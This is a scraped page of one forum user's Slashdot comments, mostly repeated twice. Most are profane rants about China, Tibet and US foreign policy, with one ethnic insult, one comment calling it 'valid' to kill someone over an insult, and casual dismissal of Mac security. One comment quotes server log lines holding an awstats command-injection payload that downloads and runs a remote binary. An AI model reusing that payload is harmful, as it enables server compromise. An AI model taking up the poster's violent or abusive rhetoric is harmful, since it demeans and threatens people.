I don't understand all this crap about searching for "tiananmen square". The Chinese would search using Chinese characters, also using a Chinese interface, regardless of which search engine they use. Then the results are also different, no matter what, because the reason tanks are showing up when searching on "Tiananmen" (in English) is because the West is preoccupied with this little historical tidbit about the square (which have seen many a bloody revolt before).
No, I believe in a world free from a nation controlling every nation and every individual. If China doesn't do as the US says, China won't have access to the Internet. If China doesn't do as the US says, the US will prevent its companies from operating in China. If Sweden doesn't do as the US says, namely label two people terrorists without evidence, seize their assets and leave them in the cold for as long as the US wishes, then Sweden will be punished by the US. If Sweden, France, Finland, Denmark etc. don't allow the US to come in their FBI planes and grab prisoners to interrogate them in mid-flight, where there are no laws against torture, these European countries will be punished.
I also believe in people and their right to decide ther own lives. The US government doesn't. If they did, they wouldn't interfere in South American coca plant farmers' lives. If they did, they wouldn't interfere with the democratic outcome of Chile's, instead supporting a fascist regime of the same kind as in the US. If they did, they wouldn't cry wolf just because you can smoke weed in the more liberal parts of Europe.
I also believe in nations deciding for themselves. It might come as a surprise to you, but the approval rating of the Chinese government is probably much higher than that for the Bush administration. China is a country in development. There is no point in pushing it at this moment. There will eventually be a transition of political power in China, unless the US screws up this process, trying to force democracy on China. It will never work!
That is the whole problem with the US today, trying to force their way onto EVERY corner of the world, disrespecting the wills of the people in those remote areas. What's the fucking point in installing a democracy in Afghanistan and Iraq? Those nations don't have the necessary framework to become democracies at this point in time. Democracy is a process, not a tool.
If you look at the declaration of human rights, you will see that it is written by Westerners. People in Asia don't share these views, and you can't change their mind sets without a lot of time, i.e. it is a loooooooong process. Just look at the US complaining about the very liberal views on pornography in Japan; the US forced its Victorian views onto Japan. No nation may be less liberal and democratic than the US, but no nation may be MORE liberal and democratic than the US either; it is the essence of the American colonial rule, and I have had enough of it.
I could also present a more personal proof that the American government only cares about American lives (as Madonna would put it), and doesn't care a bit about the rest of the world, unless it directly affects US interests (like coca in Bolivia, like oil in Iraq, and so on): My daughter is still in the US, held hostage by the fascist regime currently installed, despite the fact that she is an orphan in the US after her mom died. That is not in her interest, but it evidently is in the American government's interest. That sort of behavior is usually expected from Saudi-Arabia and such nations, not the US.
Fox News told you so or what? Why don't you ask the Navajo Indians in Arizona if they want their freedom back instead? I guess it is more important that the US be large and prosperous, rather than people be free and prosperous.
When I was in Arizona, I saw a great deal of local Indians sleeping on benches after drinking heavily. I saw poverty on the reservations. I saw hatred in their eyes. I saw the remnants of ethnic genocide.
Why the fuck do the Americans suddenly care about the Tibetans, of which they do not know anything? For the same reason they care about a lunatic orginzation like the Falun gong, namely to use it against something they perceive as a "communist" threat. In reality, you don't give a shit about the Tibetans, just like you never gave a shit about the Indians, just like you never gave a shit about the people in Rwanda killing each other. And in reality you care as much about Falun gong as the Waco sect.
Once upon a time you gave weapons to the Mujahedin in Afghanistan, but you didn't really give a shit about the Afghans themselves; you just used them as a brick in the game against the Russians, then forgot about them, until they hit back on your own backyard.
Please spare me from your fake tears for the Tibetans.
Right, we live in today, and therefore there is no point in talking about a free Tibet. It belongs to China, period.
But IF you bring up the question of a free Tibet, anyone is entitled to bring up the question of a free Texas. You think the US federal government would agree to that?
No, the point is that the US is a hypocrite in these matters. The US ignores its own laws. The US ignores international laws. The US should clean up its own dirty laundry before they attack others. There is clearly no point in talking about human rights as long as you ROUTINELY break them yourself.
Nobody is listening anymore. We Europeans are totally fed up with your hypocrisy. We DON'T see the US as a world savior. We see the US as the very THREAT to world peace.
I think I am presenting myself as someone who is extremely fed up with the Western complacency.
As I see it, the threat to a free Internet is not coming from China, but from the West. Where I come from, a political party's homepage was recently shut down after the justice department and the security police asked the bandwidth provider to do so (the reason: they had a picture of an arab looking at himself in the mirror, with the words "self-censorship"). That is like using the constitution like toilet paper.
In my book, China is opening up more and more, the West is closing more and more. Western people don't realize this, because the only thing they know about China is usually what they hear in the media. And the media's off one or two orders as a rule.
I can also read whatever I want. We Europeans actually invented the concept of democracy, freedom of the press, freedom of speech. We still practice it.
As a EUROPEAN, previously living in the US for a long time, and later living in China, I can tell you that I will choose China over America at ANY TIME.
Tibet has been a part of China for 700 years. That's waaaay before Columbus rediscovered America (after Leif Eriksson). What right do YOU have to interfere in this? None. Why don't you give back Arizona, California and Texas to Mexico? Or the whole goddamn country to the Indians?
"Insightful" my ass. It just proves that the general Slashdot crew is fundamentally clueless about this topic.
Dalia Lama does accept being a part of China. He doesn't fight for a free Tibet. But you didn't know that because you didn't read up on the issue; you just listened to Fox News. Right?
The Chinese don't have anything similar to the Guantanamo base, where alleged terrorists are held, without being given status as prisoners of war, without the right to a lawyer, in order to interrogate them with torture off American soil.
The Chinese don't fly all across Europe, picking up alleged terrorists, interrogating them in the air, in order to avoid laws on torture.
The Chinese don't invade countries, going all against the UN, without a single thread of evidence for the alleged cause, like it happened in Iraq ("Weapons of mass destruction") and has it happened in Vietnam.
The Chinese don't have bases all around the world like the Americans do.
I think it is time the Americans start to realize that AMERICA is today's Nazi regime, NOT China.
If you don't like China, get the fuck out of the country. At least learn something about the country before you open your fat Mayonaisse-stinking American mouth.
From today onward, I will search exclusively with baidu.com and actively choose non-American products. I am fucking fed up with the American claim to fame, being the lighthouse of democracy in the world. YOU ARE NOT! Your fame lies in the world's greatest genocide, in a racist history, in polluting the world.
Programs and mechanisms to bypass the firewall and ease the flow of information already exist in abundance. The problem is that each of these mechanisms fail due to net congestion, because there aren't enough servers to assist in the liberation of internet users in the filter regimes.
So called freedom nations could easily assist in this, if they really had the will to combat the filter regimes. But they won't. Because that would escalate into a foreign policy crisis, since these regimes would consider such actions interference in their internal affairs.
If you call my lady a whore, you have exercised your free speech. Nevertheless, I will kill you. It is a valid consequence, and you knew it before you insulted my lady.
Me killing you is also a valid consequence for me to serve time.
You might think it is not valid to exercise violence against you for speaking freely, but your death will prove its validity beyond doubt.
For example, protecting my tax records, making it inaccessible to others without my permission, is hurting the transparency of an open society and is fostering corruption. Stopping news reports of a defense in bad shape and rather quoting a direct lie that "we are well prepared to meet a threat", for another example, might be saving a nation from an attack (historical example).
Nothing to see here, move along. It's still pretty fucking far from being Cocoa, which is immediately evident for those of us who mix "scripts" and "character sets" on web sites. So, no ATSUI. Icelandic characters are approximated by another font than the one specified in the style sheet. The same for Chinese characters outside the GB2312 range. All using Unicode, of course.
It is also slower than Safari, which is still the undisputed king on the Mac.
China has Baidu. Google needs China, else M$ takes it. Or someone else.
China doesn't need Yahoo. China's got Taobao (AliBaba, which bought Yahoo). Yahoo needs China, Yahoo needs AliBaba.
China doesn't need iTunes Music Store. China's got Aigo Digital Music. The **AA needs China, else they're fucked in the ass by one billion people. Actually, they are fucked anyway.
China doesn't need you. YOU need China.
Web firms who want to be democratic missionaries in China need to go with the system. This is a long process, and waaaaaay too complicated to be understood by the average libertarian libertine-wanna-be slashdotter coding in mom and dad's basement.
The land of the rising sun AS SEEN FROM CHINA. You can see this in the Chinese/Japanese characters for Japan (Riben or Nihon): they are a sun plus a root in succession. The Chinese characters were imported by Japan.
Why would I bother about this? There never is and never was an attempt at hooking up to my machine. Not a single virus, worm, trojan horse or macro virus in fifteen years of time.
There was a time when I downloaded the latest and the greatest in antivirus, but those apps were never of any use. They just consume valuable cycles and memory. I was just fooled by commercial forces to believe that I too could be hurt.
IF there is a virus or similar attacking Mac OS X, it will be known in no-time by the entire community, because there are a few outlets that almost all Mac users tend to for information. IF, and when, that happens, I will worry a little bit. But until then I will just let you folks use your Windoze crap machines loaded with warring apps to combat the attacks on your machines.
Do you wear a bicycle helmet? You are much more likely to be killed in a bicycle accident than your Mac is likely to be hit by a malicious attack. So, do you wear a bicycle helmet!?
When I tell a potential employer I know Galois theory, he stares at me for a few seconds, and then asks me "Do you know how to use Excel?". To which I reply that I prefer Mathemathica and rarely touch Microsoft products. Then the interview is over.
When I tell a girl I admire her Riemannesque topology and say her virtues are greater in number than those of the girls of Lesbos combined and raised to the googoolth power, she says: "Dude, you are such a sweetie, but I have to go now".
When I tell my neighbor he can make his wine cellar temperature independent by putting it y meters below the ground, he says "Well, aren't you a smarty, boy!", grins, and then returns home to put on the missis.
Everyone knows that nuclear power is clean. Europeans are concerned about two other things:
1. Disaster. Nuclear engineers say that the chance of a meltdown is very small, but this argument is worthless after Harrisburg and Chernobyl. People in general are mathematically clueless, but they do know that the risk is real and not small after these two events.
2. Waste storage. Where do we put the waste products after burning it? People are afraid it might pollute the environment, perhaps not now but for furure generations. It will have to be stored for thousands of years. Shooting it out in space is not an option to most, having pictures of an explosing Columbia in the mind.
Attitudes are changing now because people have to choose between a rock and a hard place, in the light of tough economic times and rising energy prices, and nuclear power is thus the pragmatic way to go. People will still be afraid of it, though.
If the warehouses are emptied out of G4 PowerBooks, they might think now is a good time cramming out a first version of an Intel based PowerBook. Otherwise, they are probably going to wait a little bit longer to avoid unnecessary losses (or get rid of the stocked up stuff for a great discount).
Two problems: Apple needs to upgrade its aging portfolio of laptops, but at the same time they can't risk introducing a flawed first Intel model; it's gotta be more or less perfect, and it's gotta be so much better than a G4 in almost every regard.
I will definitely buy one as soon as I hear the specs and reviews are good. Otherwise, I will most definitely postpone for a while, and get on with my current G4 PB.
This could be the ultimate proof the ID camp has been looking for... God jerking off, spreading his seed, instilling life into the lifeless soil. The Beloved Gardener in the Heavenly Paradise Cometh unto us.
I have no fixed line. I only use cash cards for mobile. I haven't received a spam e-mail message in 8 years.
I mean, what the fuck is wrong with me? Why doesn't the corporate oligarchy like me? Why haven't I been offered to enlarge my reproductive tool, invest in Nigerian projects, or enroll in the US Gubmint Green Card lottery?
Slashdot Mirror
I don't understand all this crap about searching for "tiananmen square". The Chinese would search using Chinese characters, also using a Chinese interface, regardless of which search engine they use. Then the results are also different, no matter what, because the reason tanks are showing up when searching on "Tiananmen" (in English) is because the West is preoccupied with this little historical tidbit about the square (which have seen many a bloody revolt before).
No, I believe in a world free from a nation controlling every nation and every individual. If China doesn't do as the US says, China won't have access to the Internet. If China doesn't do as the US says, the US will prevent its companies from operating in China. If Sweden doesn't do as the US says, namely label two people terrorists without evidence, seize their assets and leave them in the cold for as long as the US wishes, then Sweden will be punished by the US. If Sweden, France, Finland, Denmark etc. don't allow the US to come in their FBI planes and grab prisoners to interrogate them in mid-flight, where there are no laws against torture, these European countries will be punished.
I also believe in people and their right to decide ther own lives. The US government doesn't. If they did, they wouldn't interfere in South American coca plant farmers' lives. If they did, they wouldn't interfere with the democratic outcome of Chile's, instead supporting a fascist regime of the same kind as in the US. If they did, they wouldn't cry wolf just because you can smoke weed in the more liberal parts of Europe.
I also believe in nations deciding for themselves. It might come as a surprise to you, but the approval rating of the Chinese government is probably much higher than that for the Bush administration. China is a country in development. There is no point in pushing it at this moment. There will eventually be a transition of political power in China, unless the US screws up this process, trying to force democracy on China. It will never work!
That is the whole problem with the US today, trying to force their way onto EVERY corner of the world, disrespecting the wills of the people in those remote areas. What's the fucking point in installing a democracy in Afghanistan and Iraq? Those nations don't have the necessary framework to become democracies at this point in time. Democracy is a process, not a tool.
If you look at the declaration of human rights, you will see that it is written by Westerners. People in Asia don't share these views, and you can't change their mind sets without a lot of time, i.e. it is a loooooooong process. Just look at the US complaining about the very liberal views on pornography in Japan; the US forced its Victorian views onto Japan. No nation may be less liberal and democratic than the US, but no nation may be MORE liberal and democratic than the US either; it is the essence of the American colonial rule, and I have had enough of it.
I could also present a more personal proof that the American government only cares about American lives (as Madonna would put it), and doesn't care a bit about the rest of the world, unless it directly affects US interests (like coca in Bolivia, like oil in Iraq, and so on): My daughter is still in the US, held hostage by the fascist regime currently installed, despite the fact that she is an orphan in the US after her mom died. That is not in her interest, but it evidently is in the American government's interest. That sort of behavior is usually expected from Saudi-Arabia and such nations, not the US.
Fox News told you so or what? Why don't you ask the Navajo Indians in Arizona if they want their freedom back instead? I guess it is more important that the US be large and prosperous, rather than people be free and prosperous.
When I was in Arizona, I saw a great deal of local Indians sleeping on benches after drinking heavily. I saw poverty on the reservations. I saw hatred in their eyes. I saw the remnants of ethnic genocide.
Why the fuck do the Americans suddenly care about the Tibetans, of which they do not know anything? For the same reason they care about a lunatic orginzation like the Falun gong, namely to use it against something they perceive as a "communist" threat. In reality, you don't give a shit about the Tibetans, just like you never gave a shit about the Indians, just like you never gave a shit about the people in Rwanda killing each other. And in reality you care as much about Falun gong as the Waco sect.
Once upon a time you gave weapons to the Mujahedin in Afghanistan, but you didn't really give a shit about the Afghans themselves; you just used them as a brick in the game against the Russians, then forgot about them, until they hit back on your own backyard.
Please spare me from your fake tears for the Tibetans.
Right, we live in today, and therefore there is no point in talking about a free Tibet. It belongs to China, period.
But IF you bring up the question of a free Tibet, anyone is entitled to bring up the question of a free Texas. You think the US federal government would agree to that?
No, the point is that the US is a hypocrite in these matters. The US ignores its own laws. The US ignores international laws. The US should clean up its own dirty laundry before they attack others. There is clearly no point in talking about human rights as long as you ROUTINELY break them yourself.
Nobody is listening anymore. We Europeans are totally fed up with your hypocrisy. We DON'T see the US as a world savior. We see the US as the very THREAT to world peace.
I think I am presenting myself as someone who is extremely fed up with the Western complacency.
As I see it, the threat to a free Internet is not coming from China, but from the West. Where I come from, a political party's homepage was recently shut down after the justice department and the security police asked the bandwidth provider to do so (the reason: they had a picture of an arab looking at himself in the mirror, with the words "self-censorship"). That is like using the constitution like toilet paper.
In my book, China is opening up more and more, the West is closing more and more. Western people don't realize this, because the only thing they know about China is usually what they hear in the media. And the media's off one or two orders as a rule.
I can also read whatever I want. We Europeans actually invented the concept of democracy, freedom of the press, freedom of speech. We still practice it.
As a EUROPEAN, previously living in the US for a long time, and later living in China, I can tell you that I will choose China over America at ANY TIME.
Tibet has been a part of China for 700 years. That's waaaay before Columbus rediscovered America (after Leif Eriksson). What right do YOU have to interfere in this? None. Why don't you give back Arizona, California and Texas to Mexico? Or the whole goddamn country to the Indians?
"Insightful" my ass. It just proves that the general Slashdot crew is fundamentally clueless about this topic.
Dalia Lama does accept being a part of China. He doesn't fight for a free Tibet. But you didn't know that because you didn't read up on the issue; you just listened to Fox News. Right?
The Chinese don't have anything similar to the Guantanamo base, where alleged terrorists are held, without being given status as prisoners of war, without the right to a lawyer, in order to interrogate them with torture off American soil.
The Chinese don't fly all across Europe, picking up alleged terrorists, interrogating them in the air, in order to avoid laws on torture.
The Chinese don't invade countries, going all against the UN, without a single thread of evidence for the alleged cause, like it happened in Iraq ("Weapons of mass destruction") and has it happened in Vietnam.
The Chinese don't have bases all around the world like the Americans do.
I think it is time the Americans start to realize that AMERICA is today's Nazi regime, NOT China.
If you don't like China, get the fuck out of the country. At least learn something about the country before you open your fat Mayonaisse-stinking American mouth.
From today onward, I will search exclusively with baidu.com and actively choose non-American products. I am fucking fed up with the American claim to fame, being the lighthouse of democracy in the world. YOU ARE NOT! Your fame lies in the world's greatest genocide, in a racist history, in polluting the world.
Programs and mechanisms to bypass the firewall and ease the flow of information already exist in abundance. The problem is that each of these mechanisms fail due to net congestion, because there aren't enough servers to assist in the liberation of internet users in the filter regimes.
So called freedom nations could easily assist in this, if they really had the will to combat the filter regimes. But they won't. Because that would escalate into a foreign policy crisis, since these regimes would consider such actions interference in their internal affairs.
If you call my lady a whore, you have exercised your free speech. Nevertheless, I will kill you. It is a valid consequence, and you knew it before you insulted my lady.
Me killing you is also a valid consequence for me to serve time.
You might think it is not valid to exercise violence against you for speaking freely, but your death will prove its validity beyond doubt.
For example, protecting my tax records, making it inaccessible to others without my permission, is hurting the transparency of an open society and is fostering corruption. Stopping news reports of a defense in bad shape and rather quoting a direct lie that "we are well prepared to meet a threat", for another example, might be saving a nation from an attack (historical example).
Nothing to see here, move along. It's still pretty fucking far from being Cocoa, which is immediately evident for those of us who mix "scripts" and "character sets" on web sites. So, no ATSUI. Icelandic characters are approximated by another font than the one specified in the style sheet. The same for Chinese characters outside the GB2312 range. All using Unicode, of course.
It is also slower than Safari, which is still the undisputed king on the Mac.
China has Baidu. Google needs China, else M$ takes it. Or someone else.
China doesn't need Yahoo. China's got Taobao (AliBaba, which bought Yahoo). Yahoo needs China, Yahoo needs AliBaba.
China doesn't need iTunes Music Store. China's got Aigo Digital Music. The **AA needs China, else they're fucked in the ass by one billion people. Actually, they are fucked anyway.
China doesn't need you. YOU need China.
Web firms who want to be democratic missionaries in China need to go with the system. This is a long process, and waaaaaay too complicated to be understood by the average libertarian libertine-wanna-be slashdotter coding in mom and dad's basement.
The land of the rising sun AS SEEN FROM CHINA. You can see this in the Chinese/Japanese characters for Japan (Riben or Nihon): they are a sun plus a root in succession. The Chinese characters were imported by Japan.
Dude, I was busy having sex in highschool...
No wireless. Less space than a regular iPod. Lame.
Looking at /var/log/httpd/access_log I typically find lines like these:
/NULL.IDA?CC... /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillok%3bc hmod%20%2bx%20killok%3b%2e%2fkillok;echo%20YYY;ech o| HTTP/1.1" 404 293
61.185.142.22 - - [15/Jan/2006:20:41:12 +0800] "GET
210.0.196.236 - - [16/Jan/2006:19:14:34 +0800] "GET
Why would I bother about this? There never is and never was an attempt at hooking up to my machine. Not a single virus, worm, trojan horse or macro virus in fifteen years of time.
There was a time when I downloaded the latest and the greatest in antivirus, but those apps were never of any use. They just consume valuable cycles and memory. I was just fooled by commercial forces to believe that I too could be hurt.
IF there is a virus or similar attacking Mac OS X, it will be known in no-time by the entire community, because there are a few outlets that almost all Mac users tend to for information. IF, and when, that happens, I will worry a little bit. But until then I will just let you folks use your Windoze crap machines loaded with warring apps to combat the attacks on your machines.
Do you wear a bicycle helmet? You are much more likely to be killed in a bicycle accident than your Mac is likely to be hit by a malicious attack. So, do you wear a bicycle helmet!?
When I tell a potential employer I know Galois theory, he stares at me for a few seconds, and then asks me "Do you know how to use Excel?". To which I reply that I prefer Mathemathica and rarely touch Microsoft products. Then the interview is over.
When I tell a girl I admire her Riemannesque topology and say her virtues are greater in number than those of the girls of Lesbos combined and raised to the googoolth power, she says: "Dude, you are such a sweetie, but I have to go now".
When I tell my neighbor he can make his wine cellar temperature independent by putting it y meters below the ground, he says "Well, aren't you a smarty, boy!", grins, and then returns home to put on the missis.
Modern Alchemy.
The Danish government agreed to us constructing the Barsebäck plant. I have happily lived a mile away from it for a long time...
It is too late to change your mind now, unless you are prepared to pay the associated costs.
Everyone knows that nuclear power is clean. Europeans are concerned about two other things:
1. Disaster. Nuclear engineers say that the chance of a meltdown is very small, but this argument is worthless after Harrisburg and Chernobyl. People in general are mathematically clueless, but they do know that the risk is real and not small after these two events.
2. Waste storage. Where do we put the waste products after burning it? People are afraid it might pollute the environment, perhaps not now but for furure generations. It will have to be stored for thousands of years. Shooting it out in space is not an option to most, having pictures of an explosing Columbia in the mind.
Attitudes are changing now because people have to choose between a rock and a hard place, in the light of tough economic times and rising energy prices, and nuclear power is thus the pragmatic way to go. People will still be afraid of it, though.
If the warehouses are emptied out of G4 PowerBooks, they might think now is a good time cramming out a first version of an Intel based PowerBook. Otherwise, they are probably going to wait a little bit longer to avoid unnecessary losses (or get rid of the stocked up stuff for a great discount).
Two problems: Apple needs to upgrade its aging portfolio of laptops, but at the same time they can't risk introducing a flawed first Intel model; it's gotta be more or less perfect, and it's gotta be so much better than a G4 in almost every regard.
I will definitely buy one as soon as I hear the specs and reviews are good. Otherwise, I will most definitely postpone for a while, and get on with my current G4 PB.
This could be the ultimate proof the ID camp has been looking for... God jerking off, spreading his seed, instilling life into the lifeless soil. The Beloved Gardener in the Heavenly Paradise Cometh unto us.
I have no fixed line. I only use cash cards for mobile. I haven't received a spam e-mail message in 8 years.
I mean, what the fuck is wrong with me? Why doesn't the corporate oligarchy like me? Why haven't I been offered to enlarge my reproductive tool, invest in Nigerian projects, or enroll in the US Gubmint Green Card lottery?
It is so fucking unfair.